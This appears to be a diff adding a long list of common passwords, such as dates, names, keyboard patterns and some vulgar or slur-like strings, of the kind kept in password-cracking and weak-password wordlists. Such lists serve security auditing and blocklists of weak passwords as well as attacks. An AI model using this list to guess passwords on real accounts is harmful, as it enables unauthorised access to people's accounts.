+101097
+1010220
+10101961
+101001
+100years
+100999
+100974
+10091970
+10082001
+10081997
+10081968
+100773
+10071968
+10071967
+100672
+100667
+100571
+10051968
+10051962
+10041998
+10041968
+10031968
+10031964
+10031960
+100295
+100281
+100265
+10021967
+100193
+100176
+100168
+0u812
+0cDh0v99uE
+0925
+091288
+091276
+09121972
+091186
+091184
+091178
+09111969
+091092
+091086
+091079
+091071
+09101968
+090993
+090992
+090987
+09091968
+090871
+09081969
+0908
+090791
+09071999
+090691
+090678
+090670
+09061968
+09051966
+09051958
+090485
+090473
+09041962
+090387
+090380
+09031997
+09031964
+09021998
+090189
+09012000
+09011964
+0889
+0825
+082288
+081286
+08121976
+08121964
+081190
+081182
+081174
+081083
+081074
+080992
+080984
+08091970
+08091966
+080894
+080875
+080873
+08081961
+080789
+080784
+080775
+080689
+080684
+080679
+080588
+080586
+080584
+08051968
+08041966
+08041965
+08041961
+080394
+08032000
+080289
+080288
+080285
+08021964
+080184
+08011996
+08011963
+0790
+0773417k
+0718
+0713
+071292
+07121974
+071194
+071191
+071180
+071170
+07110711
+071084
+07101971
+07101969
+070994
+070985
+070975
+07091997
+07091968
+070893
+070885
+07081966
+07081959
+07061996
+07051964
+070481
+07041996
+07041962
+07021997
+07021967
+07011970
+07011962
+0630
+061292
+061287
+061283
+061271
+061184
+061179
+06111964
+061069
+060975
+06091971
+060876
+060873
+06081961
+060783
+060778
+060694
+060682
+060680
+060675
+06062000
+06061962
+06051998
+06051971
+0605
+060480
+060477
+06041996
+06041969
+06041961
+060382
+060381
+060295
+060286
+060197
+060194
+06011967
+0529
+0527
+0525
+0523
+0516
+051276
+051275
+05121971
+051189
+051175
+05111998
+051095
+051089
+051086
+051073
+05101968
+05101963
+050992
+050991
+050975
+05091958
+050892
+050887
+050885
+050872
+05081999
+05081963
+05071968
+050693
+050692
+050678
+05061960
+050594
+05051960
+050485
+050470
+05041998
+05041973
+05041969
+05041966
+05041963
+050395
+050392
+050390
+050378
+05031965
+050291
+050273
+05021965
+05021964
+050191
+050189
+050180
+05011972
+0494
+04121974
+04121966
+041184
+041171
+04111999
+04101996
+04101995
+04101970
+040987
+040981
+04091965
+04081962
+04081960
+040779
+040777
+040694
+040692
+040677
+040587
+04051967
+04051963
+040494
+040489
+04041965
+04041960
+040385
+040374
+040364
+04031963
+040281
+040196
+040184
+040181
+04011971
+04011965
+0390
+0385
+0328
+03121964
+031192
+031181
+031176
+031077
+03101968
+030978
+030888
+030870
+03081969
+03081968
+03071967
+03071965
+03071959
+030694
+030575
+03051997
+03051965
+03051960
+030493
+03042008
+03032007
+03032005
+03032000
+030296
+030283
+030282
+030279
+030278
+03022008
+030180
+030177
+030175
+030172
+03011967
+03011963
+0284
+0226
+0218
+021275
+021270
+02121967
+021177
+02111965
+021091
+021073
+02101997
+02101968
+02101963
+02091996
+02091958
+02081957
+020773
+02071998
+020693
+020680
+020676
+020675
+02061969
+020576
+020569
+020489
+020477
+020473
+02041999
+020389
+020362
+02031964
+020279
+02021969
+02021968
+020191
+020186
+020179
+02011966
+0188
+01478963
+0147852369
+0129
+0128um
+01234567890
+01213
+0121
+0118
+011279
+01122010
+01122000
+01121966
+011183
+01111972
+01111967
+01111961
+011088
+01102010
+01102000
+01101998
+01101970
+01101965
+010978
+010974
+010971
+01091999
+010881
+01081964
+01071997
+010692
+010672
+01061966
+010587
+010573
+01051998
+01051968
+01051955
+01042011
+01041964
+01041958
+010399
+010392
+010371
+010287
+010276
+01021965
+01021963
+01021959
+01021955
+010196
+010156
+010153
+00998877
+0083
+0025
+0017
+0010
+00070007
+0006
+00009999
+000099
+000021
+00000a
+zzzzzz1
+zygote
+zxcasdqw
+zwezda
+zldej102
+zircon
+zippo1
+zimmerman
+zidan
+zenzen
+zarema
+zaqwer
+zane
+zakzak
+z123456z
+yuyuyu
+ytnhjufnm
+YtDXz2cA
+yourass
+youare
+yjdjcnbf
+yfl.irf
+yesenia
+yankees9
+yankees3
+yanina
+yamakasi
+y4kuz4
+XSvNd4b2
+ximen
+xenogear
+xbox36
+x4wW5qdr
+www333
+WtcACq
+wrexham
+wqwqwq
+worth
+worf
+woody123
+woodpony
+wolfman1
+Wolfgang
+wolfe
+WNMAz7sD
+wm2006
+wLTfg4ta
+witness
+without
+WINTER
+winstons
+wink
+windward
+windsor1
+wills
+willows
+Willow
+williamm
+wilkie
+wichsen
+whowho
+whitesta
+whine
+whateva
+whalers
+wetworks
+wetwilly
+wetcunt
+western1
+westend
+west123
+welch
+week
+webguy
+wayfarer
+washear
+warlords
+waring
+waratsea
+walther
+walsh
+walsall
+wack
+voldemar
+vladimir1
+viva
+virgilio
+viper12
+vinyl
+villevalo
+villas
+villain
+vijay
+vibes
+vfvjyn
+vfvfgfgf123
+vfvf2011
+vfrcbvvfrcbv
+vfr800
+vfiekmrf
+vfhvtkflrf
+vFDhif
+vetalik
+verochka
+verlaat
+venom1
+veloce
+vasilisk
+vasilina
+vasco
+Valentin
+usopen
+usethis1
+uranium
+upsman
+unhappy
+unclesam
+unB4g9tY
+ulyana
+ultra123
+uliana
+ujkjdf
+ubique
+twoone
+TwisT
+twins1
+twink
+tweaker
+turtl
+turkiye
+turandot
+tunisia
+tumtum
+tumadre
+tulsa
+tuff
+Tttttt1
+truth1
+troop
+tristram
+TRINITY
+trento
+trendy
+treats
+travel1
+trantor
+trailer1
+towtruck
+towncar
+touring
+Torres
+topdawg
+topaz1
+tootall
+toolong
+tony88
+toltec
+todiefor
+toby1
+tobi
+toadtoad
+tlbyjhju
+titmouse
+tiribon12
+tingle
+timt42
+timmy123
+timberland
+tillman
+tijuana
+tigres
+tigerpaw
+tiffany2
+thx113
+throw
+thrall
+thorny
+thordog
+thoradin
+thomas13
+thomas10
+thingy
+thicluv
+thiago
+theodor
+themaste
+theking1
+thekids
+thehun
+thefox
+thedead
+thechamp
+texan
+testin
+Test
+teodoro
+tekken3
+teh012
+teepee
+teenslut
+teens1
+teenlove
+teddies
+tedbear
+tears
+tazzer
+taucher
+tass
+tasman
+tashas
+tapioca
+tanusha
+tampon
+talula
+tall
+talktome
+taitai
+taison
+tails
+sydney12
+swissair
+sweety1
+sweett
+sweet2
+Sweet1
+sweeet
+suzann
+surfsurf
+supermario
+supercoo
+superbowl
+sunnyd
+sunny7
+sundaypunch
+sun123
+summer07
+sukkel
+suite
+sucka
+SUCCESS
+STUPID
+stumps
+studen
+struggle
+stool
+stockcar
+stingers
+stick1
+sthgrtst
+stevenso
+steve2
+staticx
+starz
+starwood
+startnow
+starr1
+stark
+stanza
+standup
+stalker123
+stakan
+stain
+stagger
+st1100
+ssvegeta
+ssap
+squeeky
+spurss
+spork
+spookie
+sponsor
+spirits
+SPIDER
+speedie
+speculum
+speciali
+specboot
+spank1
+spaghett
+spackle
+southbay
+sorted
+sorokina
+sophie2
+Sophie1
+sooty
+somalia
+solutions
+solus
+solovey
+solitair
+solidsna
+sokada
+sofaking
+soccer33
+snusmumrik
+snowey
+snowball1
+sneaks
+smokey2
+smokers
+smokeone
+smokee
+slon
+slip
+slicky
+slick123
+sleipnir
+sleigh
+skywalk
+skripka
+skinner1
+skidmark
+skelton
+sirocco
+singe11
+singe
+simpleplan
+simpl
+simba2
+silver11
+silke
+silkcut
+silenthill
+signon
+sign
+siegel
+shyanne
+shrek
+shoeman
+shockers
+shivani
+shithappens
+shirley1
+sher
+sheikh
+sheet
+sheen
+shdwlnds
+shawn41
+shave
+shashi
+shash
+sharona
+sharon69
+sharky7
+sharkie
+shark01
+sharif
+share
+shanon
+shane123
+shalo
+shaken
+shahrukh
+shafted
+shaffer
+shader
+shabby
+sexmania
+sewanee
+servis
+Service
+serrano
+serina
+serik
+sergio1
+Serg
+serendipity
+serenada
+sequel
+send
+semsem
+selfok2013
+selector
+sektor
+seeme
+seattle2
+seashell
+searchin
+scsa316
+scrumpy
+scrub
+scoubidou6
+scotto
+scorpio2
+scooter6
+Scooby1
+scooba
+schecter
+scene
+scarlets
+scale1
+scabby
+sausage1
+satire
+sassy123
+sasha1994
+sarkis
+sarah69
+sarah2
+sanman
+sanek
+sandy69
+sandy2
+Sandy1
+sandoval
+sanctuar
+sanchez1
+samy
+samadhi
+sam
+salosalo
+Sally1
+salguod
+sakur
+saimon
+sailing1
+safeu851
+sada
+saber1
+S62i93
+s12345678
+s0ccer
+ryslan
+rustler
+rushfan
+rugburn
+ruffruff
+rse2540
+Rrrrrrr1
+Rrrrr1
+royce
+Roxanne
+rottweiler
+rotor
+rotciv
+rossignol
+rosen
+roots
+roosevel
+roof
+ronjon
+Ronaldo
+romawka
+Rocky
+rockme
+Rocket1
+rock69
+rock12
+rocawear
+roby
+robinh
+robi
+robert99
+robert11
+riverplate
+ripcord
+riobravo
+rifraf
+rifles
+rhode
+rhodan
+rhind101
+rfyfgkz
+rfnfhbyf
+rfktylfhm
+rfhnbyf
+resolute
+requin
+repmvbx
+repeat
+renren
+reneee
+remove
+rekbrjdf
+rehjgfnrf
+Regina
+reece
+redwings1
+redsand
+redoak
+redemption
+reddawn
+redbird1
+rebound
+rebenok
+rebel2
+rebecca2
+realman
+rdgpL3Ds
+Raymond
+ravshan
+ratty
+ranma12
+ranger69
+randy2
+rampant
+ralston
+rakker
+raju
+rainfall
+raincoat
+rail
+raiders2
+rafter
+raffael
+radiatio
+racquel
+rachele
+R7112S
+qwertyz
+qwerty789
+qwertgfdsa
+qwer1209
+qweqaz
+QWASZX
+quinton
+quintana
+quimby
+queeny
+qbert
+qaz12
+qawsed123
+qaqaqaqa
+qantas
+q1w1e1
+q12345q
+puttana
+puszek
+pussybitch
+purple2
+Purple1
+puppets
+pumpkin2
+PUMPKIN
+pumbaa
+pullup
+pullman
+pukpuk
+pudge1
+puddy
+publish
+pub113
+prosperity
+promises
+Private
+prisca
+preteen
+premier1
+preeti
+Predator
+precise
+Ppppp1
+powwow
+powerstr
+poussin
+poupou
+potty
+potter1
+postcard
+position
+portsmouth
+Porsche9
+PornLo
+popp
+poo_
+pompano
+polonia
+polkaudi
+polizei
+pokemons
+pointers
+poidog
+pocono
+plethora
+playme
+playgolf
+plates
+pipes
+pinokio
+pilsbury
+piloto
+piggie
+pica
+phish123
+phineas
+philips1
+philadelphia
+pewter
+petit
+petal
+pepsiman
+pepluv
+peopl
+pentagram
+penske
+penny123
+pengui
+pender
+peggysue
+peggy12
+peerless
+peepshow
+Peanut1
+paws
+pawel1
+PAUL
+patrick0
+Passwort
+passout
+pass999
+Pass1
+parkland
+PARKER
+pariss
+paravoz
+Panties1
+PANTERA
+panman
+pandor
+pandabear
+pancreas
+panasonik
+palmeiras
+painter1
+pager
+pacpac
+packer1
+Packard
+pacheco
+p3nnywiz
+p0o9i8u7y6
+ozzy666
+overmars
+overdriv
+oranges1
+oou812
+oooppp
+ones
+oneida
+omomom
+omnibus
+ololo123
+oleary
+oldguy
+okmnji
+oiseau
+oink
+ohrana
+october8
+oceanic
+observer
+oboy
+nyyanks
+number3
+notmine
+northstar
+noon
+nomoney
+nomis
+nomarg
+nolife
+nola
+noknok
+nokian
+nnmaster
+n.kmgfy
+njkmrjz
+njhyflj
+njhvjp
+ninja9
+ninini
+niles
+nikita95
+nike23
+nightwing
+nightcrawler
+niger
+niewiem
+nicotine
+nicolett
+nicole11
+nick11
+niblick
+nhoj
+nhfnfnf
+nextdoor
+neworleans
+newbaby
+neuspeed
+netman
+neopets
+nekkid
+negros
+ned467
+nectarin
+ncc1864
+nazarova
+naveed
+natasha2
+nastya1995
+nashua
+nascar8
+Naruto
+naomi1
+nano
+nanette
+nalini
+nafanya
+mysite
+mymy
+mymail
+myhero
+myheart
+mydaddy
+muttly
+mustang69
+musick
+mushka
+mushin
+muselman
+murphys
+murphy01
+murena
+murdoch
+murderer
+murcielago
+mungo
+muneca
+multiple
+mrgreen
+movieman
+mousie
+mourning
+mountains
+motorhea
+motorbike
+motorbik
+mother2
+mosley
+morrissey
+morris1
+morri
+morgan2
+morgan01
+mooser
+mooki
+monument
+montgomery
+montez
+monkeybu
+monkey6
+monkey20
+monika1
+monica12
+money23
+mommy123
+molokai
+moloch
+mollymoo
+mollyb
+Molly1
+moebius
+modify
+modems
+modeling
+Mmmmmm1
+Mm259up
+mLesp31
+mistys
+missy123
+misfits1
+miroslava
+mink
+miniclip
+mindgame
+minden
+minddoc
+milly
+millerti
+milenko
+mikeyg
+mikeyb
+mikehunt
+mike34
+mikamika
+micmac
+michela
+michail
+MEXICO
+metoyou
+methodma
+method1
+metadata
+messiah1
+messi
+mess
+merlin01
+merit
+merger
+melissa7
+melbourne
+Melanie1
+mein
+megastar
+meet
+medman
+medicin
+medici
+mdmaiwa3
+mclarenf1
+mclaren1
+mcknight
+mccann
+max2000
+mauritius
+matulino
+matt21
+matrix01
+matkhau
+matilda1
+mathilda
+mathematics
+matematica
+masterb8
+master5
+master21
+master00
+marzena
+maryjan
+Marvin1
+maruni
+Martina
+Martha
+marrow
+marquise
+marlo
+marlboro1
+markp
+mark11
+maris
+mario5
+Marine1
+marihuana
+maries
+marie2
+margin
+maremma
+marcmarc
+marchenko
+march2
+Marcel
+maranell
+maranda
+marakesh
+manuel1
+manoman
+maniek
+manhunt
+mangoes
+mandreki
+manchild
+mancha
+manamana
+mamon
+mammoth1
+mama1963
+mama12345
+mama11
+malvin
+malinois
+maldonado
+maktub
+Maksim
+maks123
+makarenko
+majik
+maitland
+mailliw
+maier
+mahone
+magilla
+magical123
+maggio
+mafioso
+madmike
+madhu
+madelyn
+maddo
+madalina
+mackdaddy
+machina
+mac1
+lytdybr
+luzifer
+luvsex
+lulululu
+luggage
+ludmilla
+luckies
+lowkey
+love99
+love88
+love269
+love2010
+Louise
+louder
+lory
+lordlord
+loranthos
+lopi
+longtong
+london2
+london11
+lombardo
+loller
+loko
+loginova
+logging7
+lobster1
+llllllllll
+ljhjuf
+lizottes
+lizette
+littlegirl
+littledo
+littlebitch
+listopad
+lisa1234
+lisa12
+Lisa
+lingus
+lindros8
+limp
+limits
+lila
+lifeless
+liebling
+licks
+lichen
+libtech
+liberty2
+Lg2wMGvR
+lfplhfgthvf
+lexmark1
+letici
+lesson
+leona
+lena1982
+leigh1
+lego
+lecter
+lease
+leadfoot
+lbpfqyth
+layton
+lawncare
+lavigne
+lavanda
+lateralu
+larkspur
+largo
+lancer1
+lamb
+ladygirl
+lacross
+kzinti
+kyliem
+kylie1
+kuzmina
+kumiko
+kumari
+kuma
+kryptoni
+Kristen
+kreator
+kramit
+kpYDSKcw
+kozanostra
+korolev
+koresh
+konovalov
+konica
+kompas
+kolia123
+koldun
+koenig
+kobold
+kobebryant
+know
+knight99
+knicks1
+kluivert
+klara
+kitcat
+kissthis
+kissa
+kiskis
+kirakira
+killer13
+kilbosik
+keyman
+kesha
+kenya1
+kensingt
+kenaidog
+Kelly
+keanu
+kd189nLciH
+KCmfwESg
+kazak
+kawika
+katydid
+katya123
+katiedog
+katieb
+kathie
+katenka
+karolinka
+karin1
+karimova
+karel
+karate1
+kallisti
+kalleanka
+kaligula
+kaitlynn
+kahala
+kafedra
+k1200rs
+JVTUEPip
+juris01
+junkfood
+junior01
+june28
+june26
+june24
+jump23
+july16
+juliya
+julio1
+juhani
+judges
+juanjose
+juancarlos
+jtkirk
+joshua11
+joshman
+joshjosh
+josefa
+jose1
+JORDAN23
+jordan123
+jonny1
+jong
+joker12
+johnwayn
+john23
+Johann
+joesmith
+joakim
+jndfkb
+jlbyjxtcndj
+Jjjjjj1
+jimdavis
+jimboy
+jimbo123
+jester1
+jesse123
+jerry2
+jerbear
+jerald
+jemima
+jellyfish
+jehova
+JEFF
+jbruton
+jaysoncj
+jaylen
+jasonp
+jason3
+Jason1
+janis
+jams
+jamesp
+james00
+jamboree
+jake5253
+jake1234
+jaimie
+jaihind
+jagman
+jaco
+jackmeof
+jackaroo
+j1234567
+iwojima
+ivonne
+ivana
+ivan1985
+ithaca
+italian1
+itali
+isengard
+isaiah1
+isabela
+isaac1
+ironchef
+irock.
+irina123
+iraira
+invisibl
+intercom
+integrit
+InstallUtil
+inspector
+insane1
+inertia
+inandout
+imran
+immune
+iluvtits
+ilovemylife
+ilovecock
+idontno
+idiot1
+ididit
+icema
+icecube1
+icebox
+iamsam
+iampurehaha2
+iamfree
+i81b4u
+hyde
+hussar
+huntress
+hunk
+hubbell
+hoyasaxa
+hownow
+howitzer
+howdie
+housebed
+hour
+hotspurs
+horney1
+horndog1
+hopalong
+hoodlum
+honor1
+honeypie
+honey2
+hondacrv
+hondacar
+honda99
+homero
+homefree
+home77
+home12
+holiness
+hokie
+hoghead
+hjvfynbrf
+HITMAN
+hiromi
+himself
+hilda
+hihohiho
+highgate
+hiccup
+hfnfneq
+herohero
+hero63
+hereiam
+herbert1
+helter
+helpm
+hellyea
+Hello123
+Hellfire
+hejmeddig
+heisman
+heimer
+heidis
+heffer
+hebron
+heavy1
+Heaven
+heating
+heartbre
+healer
+hdbiker
+Hawkeye
+hawai
+havvoc
+hatelove
+hastur
+haslo
+hasher
+harwood
+harley69
+harlee
+harbour
+happy99
+happy5
+happens
+hankster
+hangers
+hanger
+hammertime
+hallway
+hallo12
+hale
+hakan
+hairless
+haileris
+hackerz
+h2oski
+gxLMXBeWYm
+gwbush
+gutentag
+guruguru
+gurkan
+GUNNER
+gunblade
+guilherme
+guild
+gthtrhtcnjr
+gruber
+grubby
+growing
+grolsch
+grizzy
+grizzley
+grissom
+grip
+grinders
+gridiron
+gribble
+greyhound
+gregori
+greenway
+greentree
+greenn
+greenlantern
+green8
+green77
+GREEN
+greatwhi
+Graham
+gracie1
+gracias
+graces
+gotrice
+gostate
+Gordon
+gordit
+gopokes
+gooses
+goon
+goodpussy
+good1
+gonzos
+gonzal
+goldtree
+GOLDIE
+gold1
+goducks
+godogs
+godess
+godard
+goahead
+glimmer
+glenn74
+gladbach
+glad
+giuliana
+Giovanna
+giordano
+giogio
+gintonic
+ginagina
+gijoe
+giggalo
+gigantor
+Gibson
+Giants
+ghjrehjh
+ghjcnjnfr1
+ghjcnjgbpltw
+gfvznm
+Gfhjkm22
+gfhjkm135
+german1
+georgy
+Georgia
+georgetown
+genial
+General1
+gcheckou
+gblfhfc
+gb15kv99
+gavgav
+gauloise
+gator2
+Gateway2
+gatewa
+gatekeeper
+gasser
+gaspar
+gartner
+garibald
+garfild
+garena
+gallus
+gallo
+galatea
+galatasara
+gaeta
+Gabriel1
+fynjybj
+FylhtQ95
+funbags
+fullred
+fullhous
+fuentes
+fuckmeno
+frostbit
+frogg
+fritzz
+freund
+freeones
+freddi
+freckle
+freaker
+frdfkfyu
+Frankie
+frank12
+France
+foxyroxy
+fotball
+forum1
+ford4x4
+foofight
+fodase
+flyman
+flvbhfk
+Flowers1
+flower12
+florian1
+florent
+floors
+floor
+flibble
+flexscan
+flashes
+fktrcfylhjd
+FKoJn6GB
+fitzer
+fitta
+fishhook
+fishers
+fishe
+fishbowl
+firsttim
+fireboy
+FIRE
+finnland
+filomena
+fietsbel
+fffffffff
+feyenoor
+feuerweh
+felixxxx
+Felix
+felina
+felicidad
+felicida
+fefolico
+faye
+fats
+fatone
+fatgirls
+fatgirl
+fastone
+fastdraw
+farfalla
+famine
+family01
+falcon12
+falcon11
+faktor
+faith123
+fairless
+failte
+failed
+fahjlbnf
+fafnir
+fackyou
+fabrika
+fabfive
+extra1
+Explore1
+expediti
+executor
+eXcesS
+evita
+everest1
+eveline
+eus1sue1
+european
+estrela
+estefani
+espero
+esperanza
+erty
+erer
+epiphany
+engine3
+engine2
+energizer
+enduro
+employee
+emilyb
+emblem
+emb377
+elvis77
+Elvis1
+elsa
+elmers
+ellis1
+elland
+eliza
+elina
+elena123
+eldritch
+efremov
+eddie123
+eclips
+eclectic
+eccles
+easygo
+early
+Eagles1
+dwdrums
+dwarf1
+dutches
+dusty123
+dustin23
+Durham
+dumbfuck
+dukenukem
+dukeblue
+duke123
+dude12
+dude11
+duane1
+druss
+dripik
+drewdrew
+drdrdrdr
+dragon6
+dposton
+dowjones
+dorsett
+dooper
+donthate
+donkeys
+don123
+domodo
+doggie1
+DOGGIE
+dobie
+dM6TZsGp
+divine5
+dirtyman
+dinsdale
+dinamit
+dimitris
+dillard
+diego123
+dicklick
+diapason
+diamond3
+dial
+diablo666
+DFADAN
+dezember
+dextur
+dewey1
+dewdrop
+devochka
+devils2
+devil123
+Devil
+deskpro
+designs
+Description
+depot
+deploy
+depaul
+DENVER
+dent
+dennys
+demise
+demetrio
+dell123
+delhi
+deirdre
+def456
+dedalus
+decembre
+decembe
+deadend
+dctulf
+dcp500
+dc3UBn
+dbrbyu
+dazed
+dawkins
+david77
+david5
+dave1234
+dashit
+dasboot
+darthmaul
+darby
+daniel21
+damaris
+dallas01
+dalejr88
+daisymay
+daddymac
+daddad
+dad123
+czekolada
+cytuehjxrf
+cycles
+cyanide
+currie
+cumsuck
+cum
+culito
+culero
+crystal2
+cruel
+crows
+crossroa
+croaker
+Cricket
+crenshaw
+creamyou
+crazzy
+crazy4u
+Cowboy
+cowabung
+courts
+counsel
+cools
+coolman1
+coolfool
+cool69
+cookin
+contrera
+contessa
+constantine
+conchita
+computadora
+cometh
+comando
+Columbus
+colfax
+cokeman
+coastal
+cnhtkjr
+clubs
+clown1
+clothes
+clocker
+clem
+clean1
+claybird
+classact
+clam
+claire1
+clahay
+ck6ZnP42
+cjkysir
+cjfrf
+cjdthitycndj
+civilian
+cinta
+cindy69
+cindy2
+cincinnati
+chummy
+chumly
+chronic1
+chrisj
+chrisbrown
+chrisa
+choucho
+chongo
+cholera
+chiro
+chiquit
+chinese1
+chinchil
+chinatow
+chimay
+chicken123
+chicco22
+Chicago1
+Cheyenne
+CHEVY
+cheating
+chatting
+chatchat
+charissa
+chaos666
+channels
+chand
+chanchan
+ch1tt1ck
+cfkfvfylhf
+ceres
+celular
+cell
+celebrit
+cdexswzaq
+Ccccccc1
+cbcntvf
+caterpil
+castles
+carter12
+caroline1
+carlo1
+carla123
+cari
+cargo
+carded
+caramon
+caraj
+caption
+canucks1
+cantona1
+cannonba
+cams
+camp0017
+camera1
+camaleun
+camacho
+calender
+caiman
+caffreys
+cabo
+cabana
+c3po
+c12345
+buttnutt
+butterba
+busters
+buster21
+busen
+burton1
+Burton
+bunns
+bunkie
+BULLSHIT
+bullet1
+bulgakov
+buffett1
+Buffalo1
+buddyy
+buddy01
+bubluk
+bubbabub
+bsmith
+brun
+bruces
+Browns
+browni
+brooks1
+brookly
+bronx1
+brondby
+broncos2
+BRIANNA
+briank
+breton
+breitlin
+breakfast
+brattax
+branden1
+brainiac
+braddock
+boyle
+bosshogg
+boss1
+boro
+borisenko
+bootycall
+booom
+boomers
+bookert
+boobless
+bonzo1
+bonny
+bonni
+bonjour1
+boner69
+BOND007
+bond00
+bombadil
+bohemia
+bogeys
+boeing77
+bodiroga
+bobby12
+boats1
+boarding
+bmw750il
+bluetooth
+blue15
+blue14
+blue10
+blowme2
+blowjob1
+BLOWJOB
+bloomberg
+bliss7
+blindman
+bleeding
+blanka
+blacksab
+bkmlfh
+Biteme
+BITCHES
+birthday100
+birder
+bioshock
+binkley
+bingoo
+bimbos
+bimbo38
+billi
+bilbobag
+bikes
+bigtits1
+bigmaxxx
+biglou
+bigloser
+BIGFOOT
+bigeasy
+bigbroth
+bigbo
+bigball
+bigal37
+bhavani
+bettylou
+bestbest
+bergman
+bennevis
+benita
+benhogan
+belous
+beloit
+belladog
+beer4me
+beer12
+beejay
+beauties
+beaudog
+beast666
+beantown
+beaner1
+bdylan
+bdfyeirf
+bckhere
+bb334
+baybay
+batty
+batterie
+baton
+batistuta
+bathory
+bastille
+bassss
+baskin
+basia1
+bashir
+bash
+barter
+bartend
+barrie
+barone
+barn
+barmaley
+bargain
+barada
+baptiste
+banging
+bandy
+bammer
+bambou
+balsam
+balmoral
+Baller
+balla007
+balkan
+bali
+baldhead
+bailey11
+bailey10
+bahama
+baghdad
+baggins1
+baggie
+bagel1
+Badger
+backhand
+babilon
+azerty1
+ayanna
+awsedr
+award
+avrillavigne
+autumn1
+automag
+autogod
+austin01
+aurelio
+august15
+augus
+atwork
+Atlanta
+atkbrc
+assfucke
+assembly
+ashok
+ashlynn
+ashley2
+ashley11
+asdfghjkl;
+asdasd12
+asda
+asap
+arkangel
+arista
+arisia
+argo
+archie1
+aqwzsxedc
+aquamann
+april7
+april6
+april21
+appletre
+appleseed
+applegat
+apple3
+apple22
+appelsin
+apocalyp
+aphrodite
+apa195
+anyone
+anvil
+anusha
+antonova
+ANTONIO
+antlers
+antihero
+antietam
+anthony3
+antenna
+annie123
+annarbor
+anissa
+angrick
+angelochek
+angelbab
+ane4ka
+andy69
+andron
+andreyka
+andreia
+ANDRE
+andr
+ancella2
+anatole
+anastasija
+analyst
+anallove
+analfuck
+amber69
+amber2
+amarill
+amanda01
+alway
+alsscan
+alpha01
+alot
+almaty
+almat
+allen123
+alle
+alinaalina
+alicja
+alianz
+algeria
+alfaro
+alfa155
+Alexis1
+alexis01
+alex007
+aleman
+alekseeva
+ale
+alderaan
+aldebara
+alanalan
+alabaste
+akbar
+ajnjuhfa
+aimee1
+ahmet
+ahead
+agshar
+aggarwal
+agentx
+agapov58
+agamemnon
+aftermat
+after
+advantage
+adult1
+adamo
+achmed
+accord1
+absinthe
+absent
+abm1224
+ABCDEFGH
+Abcdefg1
+a7nz8546
+a131313
+a000000
+9930
+9800
+963147
+9494
+9110
+8i9o0p
+888888888
+888777
+8884
+87e5nclizry
+8546404
+85200258
+84848484
+8426
+8383
+8363eddy
+8266
+8111
+80988218126
+80088008
+800500
+7jokx7b9DU
+79137913
+789632147
+786110
+777555333
+7749
+7733
+757757
+754740g0
+754321
+753951456
+7475
+7448
+7273
+7085506
+69er
+6975
+69420
+690000
+66chevy
+666satan
+6662
+6660
+65pjv22
+6463
+6264
+61808861
+6116
+5W76RNqp
+58565254
+57055705
+5639
+5591
+5578
+5569
+556644
+5464
+543543
+5309
+52345
+52255225
+5152
+513513
+5112
+5058
+505505
+5055
+4pussy
+4jjcho
+4fa82hyx
+493949
+4833
+4809
+477041
+46doris
+4663
+45colt
+456asd
+4548
+4532
+4502
+4474
+44556
+444000
+4386
+428054
+4280
+4235
+4224
+4204
+4160
+413276191q
+412412
+4007
+382436
+3812
+3732
+3720
+369874
+36363
+35793579
+3555
+3553
+3440172
+33st33
+336633
+334433
+333000
+3316
+3301
+327327
+32715
+3265
+32323
+321ret32
+32132
+320033
+3185
+3166
+311294
+31121966
+311073
+31101974
+31101960
+31081972
+31081968
+31081966
+310777
+31051968
+310377
+310371
+31031973
+31031962
+31012001
+3032
+301294
+301287
+30121999
+30121967
+301196
+301176
+30111967
+30111965
+301091
+301076
+300971
+30091968
+300895
+300880
+30071966
+300696
+300678
+300671
+30061967
+30052000
+30051997
+30051974
+30051968
+30041969
+30041967
+30041962
+300379
+300377
+30031997
+30031964
+30031959
+300174
+30013001
+30011997
+30011963
+30011961
+2twins
+2enter
+2bornot2b
+29121998
+29121969
+291193
+291191
+291176
+29111965
+29111963
+29101963
+290980
+29092000
+290885
+29081971
+29081967
+290795
+290778
+29072000
+290692
+290676
+290675
+290670
+29061970
+29061968
+290572
+290571
+29051967
+290472
+29041997
+290384
+29031997
+29031969
+29031961
+290177
+29011966
+288288
+281293
+281277
+281173
+281080
+28101972
+280978
+28091965
+280896
+280874
+28081967
+28081961
+280798
+280772
+280693
+280681
+280674
+28061998
+28061971
+28061969
+28061966
+280573
+28051972
+28051961
+28041967
+28041966
+280397
+280379
+28031961
+280276
+280270
+28021960
+28021956
+280175
+28011964
+28011961
+2800
+2791
+271296
+271277
+27122000
+27121966
+271193
+27111996
+27111967
+27111961
+271093
+271071
+271069
+27102710
+270995
+27092000
+27091970
+27091969
+270897
+270793
+270770
+27071997
+27071970
+27071965
+27071955
+270694
+270693
+270672
+270577
+27051996
+270496
+27041969
+2704
+270394
+27031963
+27031960
+270297
+270294
+270275
+270180
+27011962
+269269
+2669
+264264
+2628
+261397
+26121964
+261179
+26111970
+26111966
+261096
+260992
+26091998
+260892
+260872
+26081965
+260773
+26071966
+26071959
+260675
+26061969
+26061968
+260572
+26051998
+26051964
+26051963
+26051959
+260480
+260478
+260476
+26041999
+26041960
+26041958
+260396
+26031998
+26031961
+260296
+260294
+260277
+260270
+26021972
+26011967
+258147
+2572
+2569
+25563o
+25522552
+2549
+2532
+2517
+251271
+25121970
+251197
+251195
+251171
+25111970
+25111961
+251077
+251076
+25101997
+250994
+250975
+250972
+250971
+25091998
+250870
+25082000
+25081965
+250792
+25071968
+25071965
+25071958
+25051996
+25051964
+25042001
+25041968
+250395
+250378
+25031999
+25031964
+250280
+250250
+25021967
+250178
+24lover
+2488
+2485
+2475
+245lufpq
+243122
+241455
+241276
+24121969
+24121968
+24121964
+241093
+24101967
+24091961
+240880
+240875
+24081997
+240793
+240679
+240672
+24061964
+24061960
+240595
+240593
+24052001
+240495
+24041970
+24041966
+240394
+240371
+24031964
+24031959
+240284
+240272
+24022000
+24021997
+24021969
+24021963
+240172
+240162
+24012004
+24012001
+237237
+2358
+23572357
+2347
+2331
+2328
+231274
+23121969
+231196
+23112311
+231123
+231095
+231093
+23101995
+23101965
+230995
+23081974
+23081964
+230795
+23071963
+23071962
+23071961
+230693
+230678
+23061971
+23061966
+23061960
+230581
+230576
+23051998
+23051959
+230494
+230476
+23041973
+23041961
+230395
+230275
+230274
+23021997
+23021960
+230178
+230171
+23011999
+23011961
+22q04w90e
+22742274
+2256
+2246
+2240
+2229
+222000
+221268
+22121971
+22121969
+22121964
+221168
+221164
+22111998
+22111967
+221095
+221070
+22101970
+22101966
+22101960
+220991
+220967
+22091999
+22091998
+22091968
+220795
+220766
+22071999
+22071965
+220696
+22061975
+22061970
+22061961
